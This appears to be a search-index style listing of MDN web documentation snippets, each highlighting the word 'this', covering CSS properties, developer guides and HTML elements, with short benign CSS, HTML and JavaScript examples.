this keyword corresponds to the opentype values ruby.
...lies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | [ <east-asian-variant-values> || <east-asian-width-values> || ruby ]where <east-asian-variant-values> = [ jis78 | jis83 | jis90 | jis04 | simplified | traditional ]<east-asian-width-values> = [ full-width | proportional-width ] examples setting east asian glyph variants
this example require font "yu gothic" installed in your os, other fonts may not support opentype features.
font-variant-position - CSS: Cascading Style Sheets
browser compatibility the compatibility table on
this page is generated from structured data.
...ng internetfont-variant-positionchrome no support noedge no support nofirefox full support 34 full support 34 no support 24 — 34disabled disabled from version 24 until version 34 (exclusive):
this feature is behind the layout.css.font-features.enabled preference (needs to be set to true).
... nowebview android no support nochrome android no support nofirefox android full support 34 full support 34 no support 24 — 34disabled disabled from version 24 until version 34 (exclusive):
this feature is behind the layout.css.font-features.enabled preference (needs to be set to true).
... nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportuser must explicitly enable
this feature.user must explicitly enable
this feature.
font - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: font-family font-size font-stretch font-style font-variant font-weight line-height syntax the font property may be specified as either a single keyword, which will select a system font, or as a shorthand for various font-related properties.
... line-height must immediately follow font-size, preceded by "/", like
this: "16px/3" font-family must be the last value specified.
..."propinputcont"> <input type="text" class="curcss" id="input_line_height"> <br/> line-height <br/> optional </div> <div class="propinputcont"> <input type="text" class="curcss mandatory" id="input_font_family"> <br/> font-family <br/> mandatory </div> </div> </form> <div class="fontshorthand">
this is some sample text.
gap (grid-gap) - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this prefixed property is being replaced by gap.
...: 20px; gap: 1em; gap: 3vmin; gap: 0.5cm; /* one <percentage> value */ gap: 16%; gap: 100%; /* two <length> values */ gap: 20px 10px; gap: 1em 0.5em; gap: 3vmin 2vmax; gap: 0.5cm 2mm; /* one or two <percentage> values */ gap: 16% 100%; gap: 21px 82%; /* calc() values */ gap: calc(10% + 20px); gap: calc(20px + 10%) calc(10% - 5px); /* global values */ gap: inherit; gap: initial; gap: unset;
this property is specified as a value for <'row-gap'> followed optionally by a value for <'column-gap'>.
...</div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #grid { grid-gap: 20px 5px; } #grid { display: grid; height: 200px; grid-template: repeat(3, 1fr) / repeat(3, 1fr); gap: 20px 5px; } #grid > div { border: 1px solid green; background-color: lime; } result multi-column layout html <p class="content-box">
this is some multi-column text with a 40px column gap created with the css <code>gap</code> property.
<gradient> - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this prevents unexpected shades of gray from appearing when both the color and the opacity are changing.
... (be aware that older browsers may not use
this behavior when using the transparent keyword.) examples linear gradient example a simple linear gradient.
...note that
this isn't supported widely across browser as of yet.
grid-auto-flow - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... syntax /* keyword values */ grid-auto-flow: row; grid-auto-flow: column; grid-auto-flow: dense; grid-auto-flow: row dense; grid-auto-flow: column dense; /* global values */ grid-auto-flow: inherit; grid-auto-flow: initial; grid-auto-flow: unset;
this property may take one of two forms: a single keyword: one of row, column, or dense.
...
this may cause items to appear out-of-order, when doing so would fill in holes left by larger items.
...
this ensures that all of the auto-placed items appear "in order", even if
this leaves holes that could have been filled by later items.
hyphens - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...in html, the language is determined by the lang attribute, and browsers will hyphenate only if
this attribute is present and the appropriate hyphenation dictionary is available.
...
this character is not rendered visibly; instead, it marks a place where the browser should break the word if hyphenation is necessary.
... formal definition initial valuemanualapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | manual | auto examples specifying text hyphenation
this example uses three classes, one for each possible configuration of the hyphens property.
image-rendering - CSS: Cascading Style Sheets
this property has no effect on non-scaled images.
...
this is intended for images such as photos.
...
this value is intended for pixel-art images, such as in browser games.
...when scaling down,
this is the same as auto.
<image> - CSS: Cascading Style Sheets
(in
this case, the intrinsic dimensions will be those of the image largest in area and the aspect ratio most similar to the containing box.) images with no intrinsic dimensions but with an intrinsic aspect ratio between its width and height, like an svg or other vector format.
...if the image has no intrinsic aspect ratio, the intrinsic aspect ratio of the object it applies to is used; if
this object has none, the missing width or height are taken from the default object size.
...
this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users.
...before
this, there was no explicitly defined <image> data type.
left - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this computed value is then handled as if it were a <length>, <percentage>, or the auto keyword.
...when
this is the case, the left value has precedence when the container is left-to-right; the right value has precedence when the container is right-to-left.
...ength, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples positioning elements html <div id="wrap"> <div id="example_1"> <pre> position: absolute; left: 20px; top: 20px; </pre> <p>the only containing element for
this div is the main window, so it positions itself in relation to it.</p> </div> <div id="example_2"> <pre> position: relative; top: 0; right: 0; </pre> <p>relative position in relation to its siblings.</p> </div> <div id="example_3"> <pre> float: right; position: relative; top: 20px; left: 20px; </pre> <p>relative to its sib...
letter-spacing - CSS: Cascading Style Sheets
this value is added to the natural spacing between characters while rendering the text.
... the source for
this interactive example is stored in a github repository.
...unlike a value of 0,
this keyword allows the user agent to alter the space between characters in order to justify text.
... browser compatibility the compatibility table on
this page is generated from structured data.
linear-gradient() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...for
this reason, linear-gradient() won't work on background-color and other properties that use the <color> data type.
...you can move
this midpoint to any position between two color stops by adding an unlabelled % color hint between the two colors to indicate where the middle of the color transition should be.
... examples gradient at a 45-degree angle body { width: 100vw; height: 100vh; } body { background: linear-gradient(45deg, red, blue); } gradient that starts at 60% of the gradient line body { width: 100vw; height: 100vh; } body { background: linear-gradient(135deg, orange 60%, cyan); } gradient with multi-position color stops
this example uses multi-position color stops, with adjacent colors having the same color stop value, creating a striped effect.
list-style-type - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...moreover, because
this property is inherited, it can be set on a parent element (commonly <ol> or <ul>) to make it apply to all list items.
...to address
this, add a zero-width space as pseudo content before each list item to ensure the list is announced properly.
...
this ensures the design is unaffected by the bug fix and that list items are not improperly described.
max-block-size - CSS: Cascading Style Sheets
this is useful because the max-width is always used for horizontal sizes and max-height is always used for vertical sizes, and if you need to set lengths based on the size of your text content, you need to be able to do so with the writing direction in mind.
... any time you would normally use max-height or max-width, you should instead use max-block-size to set the maximum "height" of the content (even though
this may not be a vertical value) and max-inline-size to set the maximum "width" of the content (although
this may instead be vertical rather than horizontal).
... the source for
this interactive example is stored in a github repository.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max-block-size with horizontal and vertical text in
this example, the same text (the opening sentences from herman melville's novel moby-dick) is presented in both the horizontal-tb and vertical-rl writing modes.
min-width - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... browser compatibility the compatibility table on
this page is generated from structured data.
...
this defines available and not fit-available.
...
this defines available and not fit-available.
outline - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: outline-color outline-style outline-width syntax /* style */ outline: solid; /* color | style */ outline: #f66 dashed; /* style | width */ outline: inset thick; /* color | style | width */ outline: green solid 3px; /* global values */ outline: inherit; outline: initial; outline: unset; the outline property may be specified using one, two, or three of the values listed below.
...
this is because the style defaults to none.
...ba(0,0,0,0).outline-width: an absolute length; if the keyword none is specified, the computed value is 0outline-style: as specifiedanimation typeas each of the properties of the shorthand:outline-color: a coloroutline-width: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">
this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px; background: #ffa; } result specifications specification status comment css basic user interface module level 3the definition of 'outline' in that specif...
overflow-x - CSS: Cascading Style Sheets
this may be nothing, a scroll bar, or the overflow content.
... the source for
this interactive example is stored in a github repository.
...if overflow-y is hidden, scroll or auto and
this property is visible, it will implicitly compute to auto.
...(
this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-y - CSS: Cascading Style Sheets
this may be nothing, a scroll bar, or the overflow content.
... the source for
this interactive example is stored in a github repository.
... if overflow-x is hidden, scroll or auto and
this property is visible (default) it will implicitly compute to auto.
...(
this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: overflow-x overflow-y syntax /* keyword values */ overflow: visible; overflow: hidden; overflow: clip; overflow: scroll; overflow: auto; overflow: hidden visible; /* global values */ overflow: inherit; overflow: initial; overflow: unset; the overflow property is specified as one or two keywords chosen from the list of values below.
... [1] as of firefox 63,
this feature is behind a feature preference setting.
...
this is necessary for technical reasons — if a float intersected with the scrolling element it would forcibly rewrap the content after each scroll step, leading to a slow scrolling experience.
overscroll-behavior - CSS: Cascading Style Sheets
you may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll —
this is called scroll chaining.
... contain default scroll overflow behavior is observed inside the element
this value is set on (e.g.
...
this can be stopped using overscroll-behavior-y (overscroll-behavior would also work) on the chat window, like
this: .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } we also wanted to get rid of the standard overscroll effects when the contacts are scrolled to the top or bottom (e.g.
...
this can be prevented by setting overscroll-behavior: none on the <body> element: body { margin: 0; overscroll-behavior: none; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior' in that specification.
page-break-inside - CSS: Cascading Style Sheets
this property has been replaced by the break-inside property.
...
this ensures that sites using page-break-inside continue to work as designed.
...user agents may also apply it to other elements like table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | avoid examples avoiding page breaks inside elements html <div class="page"> <p>
this is the first paragraph.</p> <section class="list"> <span>a list</span> <ol> <li>one</li> <!-- <li>two</li> --> </ol> </section> <ul> <li>one</li> <!-- <li>two</li> --> </ul> <p>
this is the second paragraph.</p> <p>
this is the third paragraph, it contains more text.</p> <p>
this is the fourth paragraph.
... working draft allows
this property on more elements.
perspective - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...the strength of the effect is determined by the value of
this property.
... using
this property with a value different than 0 and none creates a new stacking context.
... formal definition initial valuenoneapplies totransformable elementsinheritednocomputed valuethe absolute length or noneanimation typea lengthcreates stacking contextyes formal syntax none | <length> examples setting perspective
this example shows a cube with the perspective set at different positions.
place-self - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: align-self justify-self syntax /* keyword values */ place-self: auto center; place-self: normal start; /* positional alignment */ place-self: center normal; place-self: start auto; place-self: end normal; place-self: self-start auto; place-self: self-end normal; place-self: flex-start auto; place-self: flex-end normal; place-self: left auto; place-self: right normal; /* baseline alignment */ place-self: baseline normal; place-self: first baseline auto; place-self: last baseline normal; place-self: stretch auto; /* global values */ place-self: inheri...
... normal the effect of
this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
... for grid items,
this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
radial-gradient() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... note: early implementations of
this function included other keywords (cover and contain) as synonyms of the standard farthest-corner and closest-side, respectively.
...for
this reason, radial-gradient() won't work on background-color and other properties that use the <color> data type.
...percentage-based color-stop positions are relative to the intersection between the ending shape and
this gradient ray, which represents 100%.
repeat() - CSS: Cascading Style Sheets
this function can be used in the css grid properties grid-template-columns and grid-template-rows.
...(
this can result in all tracks being collapsed, if they’re all empty.) a collapsed track is treated as having a single fixed track sizing function of 0px, and the gutters on either side of it collapse.
... examples specifying grid columns using repeat() html <div id="container"> <div>
this item is 50 pixels wide.
... </div> <div>
this item is 50 pixels wide.
repeating-radial-gradient() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...thus, the position of each ending color stop coincides with a starting color stop; if the color values are different,
this will result in a sharp visual transition, which can be mitigated by repeating the first color as the last color.
...for
this reason, repeating-radial-gradient() won't work on background-color and other properties that use the <color> data type.
... note: early implementations of
this function included other keywords (cover and contain) as synonyms of the standard farthest-corner and closest-side, respectively.
right - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this computed value is then handled as if it were a <length>, <percentage>, or the auto keyword.
...when
this is the case, the left value has precedence when the container is left-to-right; the right value has precedence when the container is right-to-left.
... browser compatibility the compatibility table in
this page is generated from structured data.
scroll-padding-block - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targeted element and the edges of the scrollport.
... constituent properties
this property is a shorthand for the following css properties: scroll-padding-block-end scroll-padding-block-start syntax /* keyword values */ scroll-padding-block: auto; /* <length> values */ scroll-padding-block: 10px; scroll-padding-block: 1em .5em; scroll-padding-block: 10%; /* global values */ scroll-padding-block: inherit; scroll-padding-block: initial; scroll-padding-block: unset; values <length-percentage> an inwards offset from the corresponding edge of the scrollport, as a valid length or a percentage.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding-inline - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... constituent properties
this property is a shorthand for the following css properties: scroll-padding-inline-end scroll-padding-inline-start syntax /* keyword values */ scroll-padding-inline: auto; /* <length> values */ scroll-padding-inline: 10px; scroll-padding-inline: 1em .5em; scroll-padding-inline: 10%; /* global values */ scroll-padding-inline: inherit; scroll-padding-inline: initial; scroll-padding-inline: unset; values <length-percentage> an inwards offset from the corresponding edge of the scrollport, as a valid length or a percentage.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars), or simply to put more breathing room between a targeted element and the edges of the scrollport.
... constituent properties
this property is a shorthand for the following css properties: scroll-padding-bottom scroll-padding-left scroll-padding-right scroll-padding-top syntax /* keyword values */ scroll-padding: auto; /* <length> values */ scroll-padding: 10px; scroll-padding: 1em .5em 1em 1em; scroll-padding: 10%; /* global values */ scroll-padding: inherit; scroll-padding: initial; scroll-padding: unset; values <length-percentage> an inwards offset from the corresponding edge of the scrollport, as a valid <length> or a <percentage>.
...
this will generally be 0px, but the user agent is free to detect and do something else if a non-zero value is more appropriate.
scroll-snap-type-x - CSS: Cascading Style Sheets
specifying any precise animations or physics used to enforce those snap points is not covered by
this property but instead left up to the user agent.
... /* keyword values */ scroll-snap-type-x: none; scroll-snap-type-x: mandatory; scroll-snap-type-x: proximity; /* global values */ scroll-snap-type-x: inherit; scroll-snap-type-x: initial; scroll-snap-type-x: unset; syntax values none when the visual viewport of
this scroll container is scrolled horizontally, it must ignore snap points.
... mandatory the visual viewport of
this scroll container will rest on a snap point if it isn't currently scrolled horizontally.
... proximity the visual viewport of
this scroll container may come to rest on a snap point if it isn't currently scrolled horizontally considering the user agent's scroll parameters.
scroll-snap-type-y - CSS: Cascading Style Sheets
specifying any precise animations or physics used to enforce those snap points is not covered by
this property but instead left up to the user agent.
... /* keyword values */ scroll-snap-type-y: none; scroll-snap-type-y: mandatory; scroll-snap-type-y: proximity; /* global values */ scroll-snap-type-y: inherit; scroll-snap-type-y: initial; scroll-snap-type-y: unset; syntax values none when the visual viewport of
this scroll container is scrolled vertically, it must ignore snap points.
... mandatory the visual viewport of
this scroll container will rest on a snap point if it isn't currently scrolled vertically.
... proximity the visual viewport of
this scroll container may come to rest on a snap point if it isn't currently scrolled vertically considering the user agent's scroll parameters.
text-shadow - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...px 2px black; /* color | offset-x | offset-y | blur-radius */ text-shadow: #fc0 1px 0 10px; /* offset-x | offset-y | color */ text-shadow: 5px 5px #558abb; /* color | offset-x | offset-y */ text-shadow: white 2px 5px; /* offset-x | offset-y /* use defaults for color and blur-radius */ text-shadow: 5px 10px; /* global values */ text-shadow: inherit; text-shadow: initial; text-shadow: unset;
this property is specified as a comma-separated list of shadows.
...
this property applies to both ::first-line and ::first-letter pseudo-elements.
...
this is a <length> value.
touch-action - CSS: Cascading Style Sheets
this means that in practice, touch-action is typically applied only to top-level elements which have some custom behavior, without needing to specify touch-action explicitly on any of that element's descendants.
...
this is an alias for "pan-x pan-y pinch-zoom" (which, for compatibility, is itself still valid).
...
this may be combined with any of the pan- values.
...
this will prevent people experiencing low vision conditions from being able to read and understand page content.
perspective() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this differs from the perspective and perspective-origin properties which are attached to the parent of a child transformed in 3-dimensional space.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3
this transformation applies to the 3d space and can't be represented on the plane.
...
this transformation is not a linear transformation in ℝ3, and can't be represented using a cartesian-coordinate matrix.
scale3d() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this scaling transformation is characterized by a three-dimensional vector.
...if all three coordinates are equal, the scaling is uniform (isotropic) and the aspect ratio of the element is preserved (
this is a homothetic transformation).
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3
this transformation applies to the 3d space and can't be represented on the plane.
<transform-function> - CSS: Cascading Style Sheets
this is represented by the vector notation (x, y).
...a linear transformation function is described using a 2×2 matrix, like
this: ac bd the function is applied to an element by using matrix multiplication.
... thus, each coordinate changes based on the values in the matrix: ac bd xy = ax+cy bx+dy it is even possible to apply several transformations in a row: a1 c1 b1 d1 a2 c2 b2 d2 = a1 a2 + c1 b2 a1 c2 + c1 d2 b1 a2 + d1 b2 b1 c2 + d1 d2 with
this notation, it is possible to describe, and therefore compose, most common transformations: rotations, scaling, or skewing.
... however, one major transformation is not linear, and therefore must be special-cased when using
this notation: translation.
zoom - CSS: Cascading Style Sheets
transform: scale() should be used instead of
this property, if possible.
... /* keyword values */ zoom: normal; zoom: reset; /* <percentage> values */ zoom: 50%; zoom: 200%; /* <number> values */ zoom: 1.1; zoom: 0.7; /* global values */ zoom: inherit; zoom: initial; zoom: unset; syntax values normal render
this element at its normal size.
... reset do not (de)magnify
this element if the user applies non-pinch-based zooming (e.g.
...
this property originated in internet explorer.
Block formatting context - Developer guides
there are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use
this property purely to create a bfc.
... in addition, it is potentially not readable for a future developer, as it might not be obvious why you used overflow for
this purpose.
... html <section> <div class="float">try to resize
this outer float</div> <div class="box"><p>normal</p></div> </section> <section> <div class="float">try to resize
this outer float</div> <div class="box" style="display:flow-root"><p><code>display:flow-root</code><p></div> </section> css section { height:150px; } .box { background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] { background-color...
...: aliceblue; border: 5px solid steelblue; } .float { float: left; overflow: hidden; /* required by resize:both */ resize: both; margin-right:25px; width: 200px; height: 100px; background-color: rgba(255, 255, 255, .75); border: 1px solid black; padding: 10px; } rather than inline-blocks with width:<percentage>, in
this case we don't have to specify the width of the right div.
Creating and triggering events - Developer guides
this article demonstrates how to create and dispatch dom events.
...
this constructor is supported in most modern browsers (with internet explorer being the exception).
... for example, the event could be created as follows: const event = new customevent('build', { detail: elem.dataset.time });
this will then allow you to access the additional data in the event listener: function eventhandler(e) { console.log('the time is: ' + e.detail); } the old-fashioned way the older approach to creating events uses apis inspired by java.
... </form> const form = document.queryselector('form'); const textarea = document.queryselector('textarea'); form.addeventlistener('awesome', e => console.log(e.detail.text())); textarea.addeventlistener('input', function() { // create and dispatch/trigger an event on the fly // note: optionally, we've also leveraged the "function expression" (instead of the "arrow function expression") so "
this" will represent the element
this.dispatchevent(new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } })) }); triggering built-in events
this example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using dom methods.
Touch events (Mozilla experimental) - Developer guides
warning:
this experimental api was removed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15), when support for the standard touch events was implemented.
... the experimental touch events api described on
this page was available from gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to gecko/firefox 17.
...
this api allowed you to track the movement of the user's finger on a touch screen, monitoring the raw touch events generated by the system.
...
this lets you track each finger's movements on the touch screen independently.
Introduction to HTML5 - Developer guides
this is much simpler than the former doctypes, and shorter, making it easier to remember and reducing the amount of bytes that must be downloaded.
...now, it is very simple: <meta charset="utf-8"> place
this right after your <head>, as some browsers restart the parsing of an html document if the declared character set is different from what they had anticipated.
...
this was done to tighten security and prevent some types of attacks.
...
this requirement helps web developers quite a bit.
Mobile-friendliness - Developer guides
that’s why
this first goal is all about presenting your content in a way that makes life easy for users on mobile device.
...a great example of
this is alaska air’s website.
...they’ve adjusted their site’s content to reflect
this, and it meets the needs of mobile users.
...
this makes it more essential than ever to practice good performance practices, only sending the user the bits they will actually need.
HTML attribute: pattern - HTML: Hypertext Markup Language
if the specified pattern is not specified or is invalid, no regular expression is applied and
this attribute is ignored.
...additionally, assistive technology may read the title aloud when the control gains focus, but
this should not be relied upon for accessibility.
...ters in length.</p> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; position: relative; } p { font-size: 80%; color: #999; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; }
this renders like so: accessibility concerns when a control has a pattern attribute, the title attribute, if used, must describe the pattern.
...
this is one of the several reasons you must include information informing users how to fill out the the control to match the requirements.
<address>: The Contact Address element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement prior to gecko 2.0 (firefox 4), gecko implemented
this element using the htmlspanelement interface attributes
this element only includes the global attributes.
...
this element should not contain more information than the contact information, like a publication date (which belongs in a <time> element).
... examples
this example demonstrates the use of <address> to demarcate the contact information for an article's author.
<aside>: The Aside element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role complementary permitted aria roles feed, none, note, presentation, region, search dom interface htmlelement attributes
this element only includes the global attributes.
... usage notes do not use the <aside> element to tag parenthesized text, as
this kind of text is considered part of the main flow.
... examples using <aside>
this example uses <aside> to mark up a paragraph in an article.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
implicit aria role no corresponding role permitted aria roles any dom interface htmlcanvaselement attributes
this element's attributes include the global attributes.
...
this is only supported by mozilla-based browsers; use the standardized canvas.getcontext('2d', { alpha: false }) instead.
... sizing the canvas using css versus html the displayed size of the canvas can be changed using css, but if you do
this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted.
... examples html
this code snippet adds a canvas element to your html document.
<cite>: The Citation element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for
this element.
... attributes
this element only includes the global attributes.
...to avoid
this, apply the css font-style property to the <cite> element.
<code>: The Inline Code element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for
this element.
... attributes
this element only includes the global attributes.
... example a paragraph of text that includes <code>: <p>the function <code>selectall()</code> highlights all the text in the input field so the user can, for example, copy or delete the text.</p> the output generated by
this html looks like
this: notes to represent multiple lines of code, wrap the <code> element within a <pre> element.
<dt>: The Description Term element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...the end tag may be omitted if
this element is immediately followed by another <dt> or a <dd> element, or if there is no more content in the parent element.
... implicit aria role term permitted aria roles listitem dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for
this element.
... attributes
this element only includes the global attributes.
<frameset> - HTML: Hypertext Markup Language
note: because the use of frames is now discouraged in favor of using <iframe>,
this element is not typically used by modern web sites.
... attributes like all other html elements,
this element supports the global attributes.
... cols
this attribute specifies the number and size of horizontal spaces in a frameset.
... rows
this attribute specifies the number and size of vertical spaces in a frameset.
<header> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...that said, a <header> element is intended to usually contain the surrounding section's heading (an h1–h6 element), but
this is not required.
...
this allowed <header> to be free to fill a different role later on.
... attributes
this element only includes the global attributes.
<image>: The obsolete Image element - HTML: Hypertext Markup Language
seriously, the specification even literally uses the words "don't ask" when describing
this element.
... do not use
this!
... while some browsers will attempt to automatically convert
this into an <img> element, they won't always do so, and won't always succeed when they try, due to various ways in which the options can be interpreted.
... specifications
this might have once been part of a specification, but nobody seems to remember.
<object> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles application, document, image dom interface htmlobjectelement attributes
this element includes the global attributes.
... declarehtml 4 onlyobsolete since html5 the presence of
this boolean attribute makes
this element a declaration only.
... typemustmatchhtml5
this boolean attribute indicates if the type attribute and the actual content type of the resource must match to be used.
<output>: The Output element - HTML: Hypertext Markup Language
implicit aria role status permitted aria roles any dom interface htmloutputelement attributes
this element includes the global attributes.
...the value of
this attribute must be the id of a <form> in the same document.
... (if
this attribute is not set, the <output> is associated with its ancestor <form> element, if any.)
this attribute lets you associate <output> elements to <form>s anywhere in the document, not just inside a <form>.
... <form oninput="result.value=parseint(a.value)+parseint(b.value)"> <input type="range" id="b" name="b" value="50" /> + <input type="number" id="a" name="a" value="10" /> = <output name="result" for="a b">60</output> </form> accessibility concerns many browsers implement
this element as an aria-live region.
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
... examples
this example uses ruby annotations to display the romaji equivalents for each character.
... <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> css body { font-size: 22px; } the result looks like
this in your browser: the html above rendered by a browser without ruby support might look like
this: 漢 (kan) 字 (ji) body { font-size: 22px; } see the article about the <ruby> element for further examples.
<s> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
... implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for
this element.
...because of
this, it is important to not abuse
this technique and only apply it in situations where not knowing content has been struck out would adversely affect understanding.
<strike> - HTML: Hypertext Markup Language
obsolete since html5
this feature is obsolete.
... usage note:
this element is deprecated in html 4 and xhtml 1, and obsoleted in html5.
... dom interface htmlelement attributes
this element includes the global attributes.
... example <strike>: <strike>today's special: salmon</strike> sold out<br /> <s>: <s>today's special: salmon</s> sold out the result of
this code is: specifications specification status comment html5the definition of '<strike>' in that specification.
<sub>: The Subscript element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
... marking up the subscript in mathematical variable numbers (although you may also consider using a mathml formula for
this).
...
this is a common use case for <sub>: <p>according to the computations by nakamura, johnson, and mason<sub>1</sub>
this will result in the complete annihilation of both particles.</p> the resulting output looks like
this: variable subscripts in mathematics, families of variables related to the same concept (such as distances along the same axis) are represented using the same variable name with a subscript following.
<wbr> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
...
this element was first implemented in internet explorer 5.5 and was officially defined in html5.
... <p>http://
this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/with<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> specifications specification status comment html living standardthe definition of '<wbr>' in that specification.
<xmp> - HTML: Hypertext Markup Language
note: do not use
this element.
... attributes
this element has no other attributes than the global attributes, common to all elements.
... dom interface
this element implements the htmlelement interface.
... implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for
this element.
style - HTML: Hypertext Markup Language
this attribute and the <style> element have mainly the purpose of allowing for quick styling, for example for testing purposes.
... the source for
this interactive example is stored in a github repository.
... usage note:
this attribute must not be used to convey semantic information.
...typically it shouldn't be used to hide irrelevant information;
this should be done using the hidden attribute.
tabindex - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...check out
this fiddle to understand the scrolling effects of tabindex.
...an example of
this would be using a <div> element to describe a button, instead of the <button> element.
...
this prevents assistive technology from being able to navigate to and manipulate those components.
title - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
